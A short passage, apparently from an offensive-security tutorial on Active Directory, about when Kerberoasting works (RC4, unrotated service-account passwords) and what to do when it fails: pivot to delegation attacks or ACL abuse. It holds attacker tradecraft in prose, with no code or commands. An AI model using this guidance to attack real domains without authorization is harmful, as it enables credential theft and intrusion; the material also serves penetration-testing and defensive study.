Many organizations still use RC4 encryption for Kerberos (fastest to crack)
Password rotation for service accounts is often neglected
When Kerberoasting fails: If the domain functional level is 2016+ and all service accounts use AES encryption with 20+ character random passwords, Kerberoasting may yield uncrackable hashes. In these environments, pivot to delegation attacks or ACL abuse (covered in Part 2).